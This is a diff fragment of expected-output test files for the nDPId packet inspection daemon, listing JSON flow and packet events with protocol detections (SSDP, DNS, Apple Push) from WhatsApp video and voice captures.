+00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1537,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1561455792270,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"239.255.255.250","src_port":65025,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00588{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1537,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455792,"pkt_ts_usec":270282,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6kLkxKPrKCABFAAClb\/UAAAIRlaTAqAIM7\/\/\/+v4BB2wAkbTRTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1537,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1561455792270,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"239.255.255.250","src_port":65025,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00569{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1539,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455792,"pkt_ts_usec":270460,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACaNCIAAEAR8gzAqAIMuTzYM9G4DZYAhkjkCAAAaiESpEIMCJFuDJOtHXjqlGBAAABmBQMCyDZF2ddgtlA0UBZWUTgM5bMiF47oTfkR8gxwf\/X6xPiwJonhfyRnCC\/1O3gjqwa36NKC7reorVrW4TGrS5w3rc3nItJV\/XceDJIdYAVMp2RD9UKe1LYtRXT0bfL9vCinKf9\/"} +00569{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1540,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455792,"pkt_ts_usec":270570,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACaRxUAAEAREWnAqAIMnfDBMNG4DZYAhnsyCAAAaiESpEIMCJFuDJOtHXjqlGFAAABmBQMCyDZF2ddgtlA0UBZWUTgM5bMiF47oTfkR8gxwf\/X6xPiwJonhfyRnCC\/1O3gjqwa36NKC7reorVrW4TGrS5w3rc3nItJV\/XceDJIdYAVMp2RD9UKe1LYtRXT0bfL9vCinKf9\/"} +00569{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1541,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455792,"pkt_ts_usec":270694,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACafQwAAEARxyXAqAIMszzAMNG4DZYAhmblCAAAaiESpEIMCJFuDJOtHXjqlGJAAABmBQMCyDZF2ddgtlA0UBZWUTgM5bMiF47oTfkR8gxwf\/X6xPiwJonhfyRnCC\/1O3gjqwa36NKC7reorVrW4TGrS5w3rc3nItJV\/XceDJIdYAVMp2RD9UKe1LYtRXT0bfL9vCinKf9\/"} +00569{"flow_id":7,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1542,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455792,"pkt_ts_usec":270823,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACa1S0AAEARgELAqAIMnfDEPtG4DZYAhngiCAAAaiESpEIMCJFuDJOtHXjqlGNAAABmBQMCyDZF2ddgtlA0UBZWUTgM5bMiF47oTfkR8gxwf\/X6xPiwJonhfyRnCC\/1O3gjqwa36NKC7reorVrW4TGrS5w3rc3nItJV\/XceDJIdYAVMp2RD9UKe1LYtRXT0bfL9vCinKf9\/"} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1543,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1561455792273,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"239.255.255.250","src_port":51458,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00589{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1543,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455792,"pkt_ts_usec":273279,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6kLkxKPrKCABFAACleZoAAAIRi\/\/AqAIM7\/\/\/+skCB2wAkenQTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1543,"source":"wa_video.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1561455792273,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"239.255.255.250","src_port":51458,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00579{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1563,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455795,"pkt_ts_usec":276739,"pkt_caplen":174,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":174,"pkt_l4_len":140,"pkt":"AQBef\/\/6kLkxKPrKCABFAACgOnoAAAIRyyTAqAIM7\/\/\/+skCB2wAjBoITS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpzZXJ2aWNlOldBTklQQ29ubmVjdGlvbjoxDQpNQU46ICJzc2RwOmRpc2NvdmVyIg0KTVg6IDMNCg0K"} +00579{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1564,"source":"wa_video.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455795,"pkt_ts_usec":277117,"pkt_caplen":174,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":174,"pkt_l4_len":140,"pkt":"AQBef\/\/6kLkxKPrKCABFAACg4VAAAAIRJE7AqAIM7\/\/\/+v4BB2wAjOUITS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpzZXJ2aWNlOldBTklQQ29ubmVjdGlvbjoxDQpNQU46ICJzc2RwOmRpc2NvdmVyIg0KTVg6IDMNCg0K"} diff --git a/test/results/wa_voice.pcap.out b/test/results/wa_voice.pcap.out new file mode 100644 index 000000000..a8fd71623 --- /dev/null +++ b/test/results/wa_voice.pcap.out @@ -0,0 +1,260 @@ +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1561455687942,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"192.168.2.1","src_port":51431,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455687,"pkt_ts_usec":942546,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xiwDYGpkkLkxKPrKCABFAAA8VCwAAP8R4ibAqAIMwKgCAcjnADUAKL4MZG8BAAABAAAAAAAAA3d3dwZnb29nbGUDY29tAAABAAE="} +00631{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1561455687942,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"192.168.2.1","src_port":51431,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Web"},"dns": {"query":"www.google.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00455{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455687,"pkt_ts_usec":944542,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"kLkxKPrKxiwDYGpkCABFAABMq4sAAEARSbjAqAIBwKgCDAA1yOcAOH0WZG+BgAABAAEAAAAAA3d3dwZnb29nbGUDY29tAAABAAHADAABAAEAAADaAATY7yZ4"} +00658{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":2,"flow_first_seen":1561455687942,"flow_last_seen":1561455687944,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":40,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"192.168.2.1","src_port":51431,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Web"},"dns": {"query":"www.google.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"216.239.38.120"}} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1561455687991,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"192.168.2.1","src_port":60765,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455687,"pkt_ts_usec":991884,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xiwDYGpkkLkxKPrKCABFAAA89ksAAP8RQAfAqAIMwKgCAe1dADUAKOSmDHcBAAABAAAAAAAAAWcId2hhdHNhcHADbmV0AAABAAE="} +00637{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1561455687991,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"192.168.2.1","src_port":60765,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.WhatsApp","breed":"Acceptable","category":"Chat"},"dns": {"query":"g.whatsapp.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00488{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455688,"pkt_ts_usec":18542,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"kLkxKPrKxiwDYGpkCABFAABj38gAAEARFWTAqAIBwKgCDAA17V0ATz5mDHeBgAABAAIAAAAAAWcId2hhdHNhcHADbmV0AAABAAHADAAFAAEAAArzAAsEY2hhdANjZG7ADsAsAAEAAQAAAEEABJ3wFDU="} +00664{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":4,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":2,"flow_first_seen":1561455687991,"flow_last_seen":1561455688018,"flow_tot_l4_data_len":119,"flow_min_l4_data_len":40,"flow_max_l4_data_len":79,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"192.168.2.1","src_port":60765,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.WhatsApp","breed":"Acceptable","category":"Chat"},"dns": {"query":"g.whatsapp.net","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"157.240.20.53"}} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1561455688201,"flow_last_seen":0,"flow_tot_l4_data_len":1472,"flow_min_l4_data_len":1472,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":1472,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"17.242.60.84","src_port":49354,"dst_port":5223,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +02378{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455688,"pkt_ts_usec":201615,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xiwDYGpkkLkxKPrKCABFAgXUAABAAEAGJCjAqAIMEfI8VMDKFGdIDyQZ7pIeMIAQCAC0bwAAAQEICjTN8KY8skLCFwMDD+Ai5NOSopi\/6GqwlD\/tAZzY1QGzvljqTGTmGCJOrU3x8CYKomrYaziO5eZ4ouY8cCYpOJvKrDNJX33pdge2bBxjgZp3ciHlbT9gHcPpJV3HIK5K4Xwsy7N\/d9l3pDdGz5PHrVVzZeXakf14DKR+hXrIhRVy6hpv5t2VthQzM3sKU7KhJpL\/6a5Sp489WK3Z7dzYFK2J+ermhE1b03GDPIEb7MGTpTJQaqangZgy8gro1eaetAilk1o529zodA1M9O5BVqL2oF301LG+kaqQTY1SPLvOnn1MxBlBEbzmsfvPr0H7C5Xcv51kP+cMU9R39VU1KEVp3e+2GMmIXWxgb+NKRMo4d5o6BKoHJ36YKQ33eAmIMAcZsFkdzfDz5q2jCxngiuQsbQKoYL1rQHGV7CXWI3zE9edQrQPJaGQZaxu\/+b+1vqSWxtCMEOUMVSmhM+FpUOqnKqwXsN4BgvySE1+U34RH0SV6FPoBjF0WGfVjkUid\/lVZcbedi\/PfkG0yBpT2\/Is9EIUqT+5Azj96UOFZqIEtSsIYSrk7ySkvjrKz5bHkeMLQk1mxQwJByZOSa30oY5bmNGAgD00g7CKAigVgWl6pq33BURhk4PDRhLJn426pN8ndnOOPzVylhr5g1C978hT8qaiuW1hlXdPnoMeCp9hEy7A5ziIjQi\/j6SVmDBSjwtJ0oqoQ\/ul2VzP1hHUGnZiTl\/qoxKKUfFrrwqTto6BvQjrKNa8bmHfrJg1RkCF3YK1iU3RCTPB\/4c68wZU3wRZ8hH1dNOLSgkwNQHFvEa\/gv\/qOxZkCS+Hpja9b5OtYooCqZnURTItdIoosw\/pte6KHG8eCIx\/U7yLLCmLs4D6MQwGZZ2yJ9zt9zcZXv1g03W4UohfquGy0ioHzSnw\/O3jNSfyTyrsrgxGqBD7B02ehphvU7Ax3IIziLDpWGnOBTyjYVNl423Z+0c9qK5fdUeybRNKKbWmwJqAFyKo3Mn2oSjBse+IbmEyy74UtCrn7MO79P00k7ZwAdz4X9zs28aMTKpnGFfXXxKMpT0Dd5ofiYXaTFr2Jwybi92XLCleA2OWxMIUro0rxoo67fYKdVxbqwQCMyEw6LTznHMXWYOpkkn6VHuawZe8M1HJsON5lEoItuqd\/IBfWUMshGlV8OgIAoc3EW3VlOFAiqg0pqVqjmyE8T8wQAvejRCf2f7iThtrzSrjIJDgibkW3Ecp3KoIC1KVlhjp4HLMvTgc12F13bDzcsr4rYSNpgOus\/4N4UzMrQyfYM2uNlqx0HfPLs50MVn\/Kyef0KdSuCHGqHLEJ+g1+EB9i2mop53wwymGotu9IoWgU02wrdRtoavOIQ5TMaPT9Jy+tmpyw9rSZn4YhMfxR72sCFIVM2eQlDOP2kti8y02qh8vwstuWp8ER3\/PKo9BgChhkuUmF5Df6lKXn1exWi67C9f1S5pc1iv33gDt3T0VcEHwoxmIh6MLrQ4LDUY7JX7mEuRfro3sR\/Ir2ufPPOhOBqsPV5YskVY9tWAevz7WMRn8EtRyvVaVHL3wxu1gErJNgcQ\/Af9fGR5KHI8lfrzLWY+bV9Q6PY8piE9FU2r7QV9Q5YgbBE6yKjPA3fOpiBOv+IVCsLXJNVdRvAywibpuoJAy2z01Fc5o3x+ZW2eqdFSSyuDepi7EBv4YJnAtmqjCVimRnoZ68Pz\/ocEFw5tBKkvU5uadJKwflJJ0hJUUOKwAQFCWvvApj3f356wTvDmU788W1R\/Vmzin60ZrsL16uD4sDmXGOueQVWddIzbIT0jyuT6IK9gJjCyELuMZhwwjNJ\/gEh8+\/PwFaVXbn\/1dsvjpj0IhPwCusRttL60194v983ySgSQpQrf9f+n\/rJIRYwpsq4DBRu9SydD72zD93mD4idl3s3tsUHh6rp5k7Bf4L"} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":5,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1561455688201,"flow_last_seen":0,"flow_tot_l4_data_len":1472,"flow_min_l4_data_len":1472,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":1472,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"17.242.60.84","src_port":49354,"dst_port":5223,"l4_proto":"tcp","ndpi": {"proto":"ApplePush.Apple","breed":"Safe","category":"Cloud"}} +02377{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455688,"pkt_ts_usec":202302,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xiwDYGpkkLkxKPrKCABFAgXUAABAAEAGJCjAqAIMEfI8VMDKFGdIDym57pIeMIAQCADYpQAAAQEICjTN8KY8skLCFtVfgrozcBhAJsfsFvLQO\/UNbKaPAKskPEHc2H7HNZvZ0KHfZ\/KP+B9OyPm0SdMSjavTXp1RBX4n8dtnNy7ldwySyG0XJJWeRoZiiRtgXrZdFFD0QAS3Pe1DBo\/FUctyy9XBKqwrw5v92Jj5UtBctOxUvfejQ1SPTAJ5IukXOUTVRhF+GJ6uJpn2Gyv2J\/hXj4mZyNeIliL2I7bOA3ury1GpGWko+MWMnPSKdWfc+5iZ8htj49VB2VDsL+uaCsidGqZX708pkKajJgAtzAX6+OwUhPXab61vOJn2ZVsE84On3Sc1Kl0WWtXgaA5Kty9ym4wLqQYEYP55F5oeJX4cTBOZRUcxhyM2DEPfiJE4aGH7aPKJO1JXXtoaeR6aRsid5OY044cRXoCwjbqa8kVLoyG\/1hSUaMwK17Rm6Nq+PbrF+ED8fmHgN\/1Dutcz+R4xma\/dfBoQDryBVCTEwOthrl7LLjRmNDBA\/nKPrgUx1pUPyir\/k\/cBNu5VmA9ROEDXJTcYsaqkjSroNougihkTVcfxMwA0V1eozYWnylZYZfyg3u53u+M+Do2uu\/vpHb6ZX\/5fq7AfMO72tRX4kcflTeOHJPV42uX70ZwC1O+A2X8wG0wRrb8uK6OFhHts3S52N3FVIqWr3CBOEKtXus3msBLphIaEqtw7dKWimDDeKkgZyeDybQGBbwSqGgwXI4sXoyN6QNVYT2T4i6kGXwJ8KRo8HtR5yB7rhqGJ7va7Tq2PlcpSnVIQRwao1mofCncrFLbOpoxslAuFLv8G+fW1GEiueEIhAplFAErT8lEbc6sY9uI88S0O6mDpNBlvCBLanRfw12SWljEVA4Wh2w31ojL9SCLJgyYKb3rrXT3V5i0AGJxXutmEyz9yTXUcoSU1YUo3WfmVLfx6RyxgbfoU7yfB7G33wI6gfsYIkzsYXlIla2ZkFjlWmYTCmfyEh6mVsXCVMnp1BhZdWj+7bWgfM4VrhMG0uNxDM0Z53kq9r7jYLXP1URavTKVNjY1WxQ1RAuRJtVPSgtQELf6AAzGAMW947SHl7bPC94gub8Kmqytrgl8ICRtP21Twca8YlwoKzIkJ0ROGsHSJ1IUBnknB2X57XNTUY80EyrwKOEYdXqBbK5\/uwztG9gvPjPu8PKqPu7OCXZj1ZBnnEX2PjjdGe8\/qo\/GKpAlJAuol7xe33zGz401h7+ux36y894Mbarjx1CDQxx9YqwY6Lr4EHSyCq\/xOaCM9Ig4AmEcFYjNP6niCHmI6fO24v\/GQB6WXdzSw2ClyCXHYbvr4Qqi+4qXoeh2xXDeKjcBBfLtEOni++s2q3gzhbAvkZLj\/NmeA2TXw0Z3iDbzj8\/Y4RPkg+eKwZkIo3UDfKsFnJdpryN60+cHgLr\/4b6yqkGde7QP698bVNcwUBDmhcPTGUF72BSrLQvrtwQZtWbAZrNkztpBLnQ0QkqUG4rCER6dvRqYMKv5dFfseMTa1Q1gUuqPbbz23yUKTRtop\/\/Lht4EEFlQYsfbz48ddhpIGiMg5mZbcRDG3SabEXgtzSNVHYYfQC6vW4pikjByoIlKAdhA6SR3Oh3PU52UQkf1H00x5\/\/1hV8lcpLckyN2LNUVFAYrwz5do38QxPssBrJ+3S6\/aEGPegc3B67mnX5V9KdAWJTKT9mA6BOcYDIvqCcaofS9sLdAjWNazl\/6YRqmsk\/JZn6nsHta+t4co6kKrh8ZoenAhtwbNaOVmExbItteeviDeqFUd2pkhp3kXIT8d6YMdXIloWHR8vT7oGOwNL5sNWFZXjAeqyXFLohZVoKLbw4szdHzrmDOl0IHwY6y6lYvTSYc6OyNhkaHXFSCKUjvAFZPuWmliraxAT7phw5quixNUJhdRcYng0LMN9J3KAyHFA8Ber5WNyIqMxWZ5wh4eVaY0B\/wQ"} +02038{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455688,"pkt_ts_usec":202454,"pkt_caplen":1255,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1255,"pkt_l4_len":1221,"pkt":"xiwDYGpkkLkxKPrKCABFAgTZAABAAEAGJSPAqAIMEfI8VMDKFGdIDy9Z7pIeMIAYCACWYAAAAQEICjTN8KY8skLChD9+sl9zTIn+9oKwtdTi9Vdi\/cqtS9SsuLktLexhq+H6HSh0nUz\/pR7lGjfA8jUSbTLAiEYeFmvZtDgZTjhibXwhbTyW2ej1slX5wS0YUeKb381u+fexhn3xRkOOgFD2lHUCDNs6ZDxZ3MgjWXZ\/6y+5+G4Cr5MmO9LbbXgHM2tCoGf6bFpAilIbDNDjf72PZn2d6eJMciO25CCni3NwF1VQe25Bd9JCM8RNSipKwwpntSqY6SidwnIyNKgMjNfj+GMhuOpcSsAcRSjT\/L\/y6Nc7rkRDfvgoZpO7IrcZRsLerm0SSzH8usyI2xA+WCvEPlDoV\/87+olgpceCoKG1cf6TrD9aD7Lh7Yzi2mRYXX50kN9XYC9UhK+eEqcUiK0EA6ia38NkceSip2pBuv85\/091UH5OzSLrTUOJg+XVoE7ssGb7XKiRE+FOZu+zmhmuXn2Ujg8u76JsqT+uY0KkCyvwkXLeCV2kPGxz31MiSwGtNtz1oNvEGHur+FQDs\/zPpy1TfX803cqFKkblAu9BFTe4MXIK6IqhxFJcK3dj\/d8o2Zlvxu2S2NA3FH3zT7CWqacXhL+wQyS+\/DALOFfsZZCyD97Lwmcig1rgISji1T9qsBO4dRFWt5bVa2GoIozmHRLhPE\/xUBXrVvCjMLlRXbBby9l3tFLBkeNarajglfyHMtazotsPWceBe13wiPjaSciJqd486cT5nmripbb2TNv6m2QS+yBxolanBtMMlalvyClJnjFYXmEMA\/Cqafcjah0LpamWi5cGxlhK2o7VpcXk60WiDqklprDwU1C6AQQ3t9+In381BWOH2ylFLvtkYQS6mza73M7ORMV9T+VX4ja00u4BItehp2lgwr5wZ9hQu6lejNiwFYLaMPe7D\/bAwWtcZeYT8kAUL9H2S1idX7efThRI\/sFUnhFydcfZzFx9yoqvQ\/XNBIf8hR2ZwEmxUM7nHYq2mZ+\/B91bETK14kZx6AmSi1jqJABWenJppvp4cXzcY1BWUqJk0PLYkAexhw7t652If5IzcojeSdWFP2lhdau7nHX6G7lW4Utg7ZWXLyccWSWSv6ha+LeiDlED1cCwY2vVHkPEKRqluaQYKLl2qvR1wE3m0usuIl4q2MEc3z7A5MGmXicgQHspwoVe96OedZ9UbKdxn5F5OBTgOA+JY4EBKs3\/51SigijtnbNr7w00IZM1a32DUVsHDNnCKoJQHhPhULTSuboR4FgTKv5jA8DkAaFXzOTQQMYjx7YZD+FVCVnmqRcXzRQCUejaACj05EFq7vsiXpx9kEWnOGLDfJ22A0AjBRXoBK9EYB2xjWa+gzWXLgtnfTfAdhzT3lkAyklF\/qQA0sttDRgDxUQ4slW4E3BzVFH0h4GehIXJZzWEseP9XQr0J1UhTOB7Dv78mCeQyIVzY5PpIKGqL37IUaJV6gk4viji4bM8JRt522Xsc3xIrKuiMjhRRmYQYZR2\/fsuI+jWL\/oLRyVbeQmMYbj2qIY8qMyxD0\/HUbbJCm1sWV3U2RsK1wnhcO2gFFVKyPqfKwE0xDwAtsxVH6ZCeakAFNP5dRNlfhay6WJ8owHDTw=="} +00423{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455688,"pkt_ts_usec":226427,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"kLkxKPrKxiwDYGpkCABFAAA0TxoAADEGKbAR8jxUwKgCDBRnwMrukh4wSA8vWYAQAYNbPgAAAQEICjyzTX00zfCm"} 